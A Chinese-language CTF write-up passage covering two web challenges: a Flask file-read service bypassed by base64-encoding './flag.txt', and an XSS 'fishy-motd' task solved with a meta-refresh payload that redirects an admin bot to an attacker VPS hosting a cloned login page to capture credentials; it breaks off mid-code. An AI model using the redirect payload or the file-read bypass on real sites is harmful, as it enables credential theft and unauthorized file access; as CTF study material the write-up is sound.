warmup
按照提示依次 base64 加密后访问,可以访问 ./flag.txt
,也就是 Li9mbGFnLnR4dA==
。
from base64 import b64decode
import flask
app = flask.Flask(__name__)
@app.route('/<name>')
def index2(name):
name = b64decode(name)
if (validate(name)):
return "This file is blocked!"
try:
file = open(name, 'r').read()
except:
return "File Not Found"
return file
@app.route('/')
def index():
return flask.redirect('/aW5kZXguaHRtbA==')
def validate(data):
if data == b'flag.txt':
return True
return False
if __name__ == '__main__':
app.run()
fishy-motd
这题考的是 xss
中的表单劫持,和一点点 csp
的绕过。
在页面中可以看到 default-src 'none';
以及一些其他的限制,可以用 meta
标签来进行 url
重定向。
例如:这里面的 1 是延迟 1 秒后跳转。
<meta http-equiv="refresh" content="1;url=http://vps:port/">
题目的主要代码就是下面这段,机器人访问 login
页面模拟登录,且会在固定的位置输入账密,那么我们可以利用重定向到我们的 vps
,在我们的 vps
中把它的 login
完整的 copy
下来,这样当机器人模拟登录的时候就会把账密输入到我们的 vps
上。
const adminBot = async (id) => {
const browser = await puppeteer.launch({
headless: true, // Uncomment below if the sandbox is causing issues
// args: ['--no-sandbox', '--disable-setuid-sandbox', '--single-process']
})
const page = await browser.newPage();
await page.setViewport({
width: 800, height: 600 });
const url = `http://localhost:${
port}/login?motd=${
id}`;
await page.goto(url);
await page.<